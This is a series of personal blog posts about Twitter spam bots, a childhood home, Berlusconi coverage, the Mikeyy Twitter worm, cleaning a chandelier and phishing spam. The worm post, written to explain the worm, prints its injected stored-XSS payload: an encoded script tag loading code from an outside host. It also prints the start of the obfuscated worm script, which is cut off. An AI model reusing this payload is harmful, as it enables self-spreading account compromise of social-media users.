For the record, play this at my funeral. Thanks.

I found some strange people had ended up in my feed after I decided to go wild and follow-back anyone who followed me. I kept seeing the same phrases tweeted over and over again, in a very active feed, like a glitch in the matrix.

The phrases range from bland good mornings to zodiac + #swineflu ideas, to greetings in German. Check these searches, the same twitterers appear over and over again tweeting these phrases. Is this a twitbot-net, a twitter-worm, or some popular twitter helper application gone a bit nuts? Since a bunch of these involve retweeted links, I suspect a really big twitter spam network are faking being real people.

Is it sunny where you are?

你 好 吗？ni hao ma

Ever get a song stuck in your head?

Any favorite TV show?

Has any one else noticed this? It gets worse........ next year...... #swineflu

Apologies to Chinese for improper Zodiac sequence #swineflu

Do svidania til later...

We gotta find Jake tonight, and get this hit done. He’s probably over at the Beverly Hills hotel. ...

Ask questions to learn - that's twitter.

Learn Twitter basics, #hashtag use, whale hints, tweetDJ, #ishow http://bit.ly/10VIGw

Cosby Show 25th Anniversary

Let's share some music http://m.tearn.com

Italian for dumb, dumber, dumbest. Funny stuff.

buon giorno

Goooood Morning, Vietnam. Good day world

What's everyone talking about?

Guten tag, wie geht es ihnen!

iphone, tweets, ice cream.

Also spotted these, but they are useless for searching;
"Any plans for the day?"
"Random tweets"
"Enjoy a great day."

There's plenty more phrases in use, check ch_goodwin for an account without a single original tweet.

Update I just realized that tern Media is the prime suspect behind all of these tweeters right now as the "Italian for dumb" and gotta hit Jake" tweets start with their @Jamokies & @JimmytheJamokie accounts.

FYI , obviously I'm dabitch at twitter, less obvious is that I'm also most of the time adland at twitter (which also tweets anything posted on adland.tv).

...or, I might be geekier by the minute. what the hell?

Google Maps has reached North Carolina, and I naturally had to check out the house that I grew up in. I've walked around the block, to my friend Gwens house on Pemberton Drive, and to Mr&Mrs Woten's home, it all looks pretty much the same.. except much smaller than I remember it. ;) When I still had training wheels on my bike, this driveway was a hill, I'm telling ya.

That massive tree planted next to the mailbox is exactly as old as I am, as my mother planted it for me. The room on the right was originally a garage, my father made it an indoor playroom for us kids. A few weeks after he did that I started my moms car somehow and smashed into the wall, barely denting it but it was high drama in my little life at the time.

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I also found Raleigh Skyline has great photos of Raleigh today, and some showing off how folks in Raleigh will sled ride on almost anything when it snows. My first N.C. style sled ride was my mothers steel bake plate, down the "hill" of our neighbors house 1202 Chardon Court.

"Di ritorno dal suo ultimo giro a Londra e Strasburgo Berlusconi si infuriò con i giornalisti che avevano descritto i suoi passi falsi, minacciando "provvedimenti". Ma forse il primo provvedimento che il primo ministro dovrebbe adottare è quello di pensare prima di aprire bocca."

Very interesting. Since Italian media has been oh so quiet about Berlusconi comparing the plight of homeless earthquake victims sleeping in tents to a camping weekend, the Guardian has decided to run an opinion piece in both Italian and English on their pages.

See: Le gaffe di Berlusconi non fanno notizia in Italia

Here is that same article in English: Silvio Berlusconi is free to blunder before Italy's obliging media.

So, I'm minding my own tweetness when I see a friend suddenly talking quite a lot about Mikeyy. And he ain't the only one. everyone is talking about Mikeyy - silly me I go to my friends page to DM him that a twitter-bug has bitten him in the ass, and see this (above).

Of course, now Mikeyy bit me too. Argh.

So let's see how he did it shall we? A Mikeyy users source code looks like this;

/* begin custom css */
.top-navigation > li > a,
a { color: #mikeyy:)
">document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%
2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f
%73%63%72%69%70%74%3e/.source));

This points us to content.ireel.com/xssjs.js - and that's where Mikeyy keeps his script.

var
_0xefb0=["\x4D\x73\x78\x6D\x6C\x32\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x4D\x69\x63\x72\x6F\x73\
x6F\x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x63\x6F\x6E\x6E\x65\x63\x74","\x74\x6F\x55\x70\
x70\x65\x72\x43\x61\x73\x65","\x47\x45\x54","\x3F","\x6F\x70\x65\x6E","","\x4D\x65\x74\x68\x6F\
x64","\x50\x4F\x53\x54\x20","\x20\x48\x54\x54\x50\x2F\x31\x2E\x31","\x73\x65\x74\x52\x65\x71\

The Crisis of Credit Visualized from Jonathan Jarvis on Vimeo.

Mike Booth, creator of somegreybloke.com, nails it.

I am related to super pedantic clean people who comb the tassles of their rugs and take each crystal off the chandelier for cleaning, by hand every year or so. I'm also super lazy and follow my mothers mantra det man inte har i kroppen får man ha i knoppen (what you lack in muscle you make up with brainpower - but it rhymes so much better Swedish.)

So I have this mastodont cleaning issue. a very dusty, non sparkly chandelier. Oh dear.

I also have tap water, concentrated lemon juice, and fancy white vinegar (fancy meaning 'the good old brand' and not cheapest stuff in the store.) We will mix these ingredients approx 20% vingear 10% lemon juice and the rest water in an old cleaned up spray bottle and get to work. Attack it from the bottom up! I know, one should cover the bulbs with plastic bags but did I mention that I'm lazy? I just don't go there with the spray (besides, mine point down, not up).

See these drops? Yes that's the grime and dirt sliding right off it. If you have a smaller chandelier than I have, you could hang an umbrella upside down underneath it to catch all the drops. I didn't dare because my chandelier looks like it wants to take the ceiling down with it any day now.

.. and a bunch of newspapers catch the drops of grime (there's a plastic cover underneath to protect the table as well).

So, nyah, to those ladies before me who spent hours polishing their crystal, I do this in record time. I don't tempt faith, no lighting of the chandelier for at least two hours after it looks dry. I've lit candles tonight and it looks sparkly, oh so sparkly.

I've never heard of Cahoot, until this past month. Now I hear about it every damn day maybe twenty times a day. No, it's not Cahoot that's emailing me, it's your usual phishing scam spam that's sneaking into my inbox past the spamtraps somewhow. Like Paris Hilton, whom I first heard about via referral link spam shilling her porn movie way back in the day when you could still read your weblogs, I have no doubt that they'll grow annoyingly super famous, and I still won't ever like them.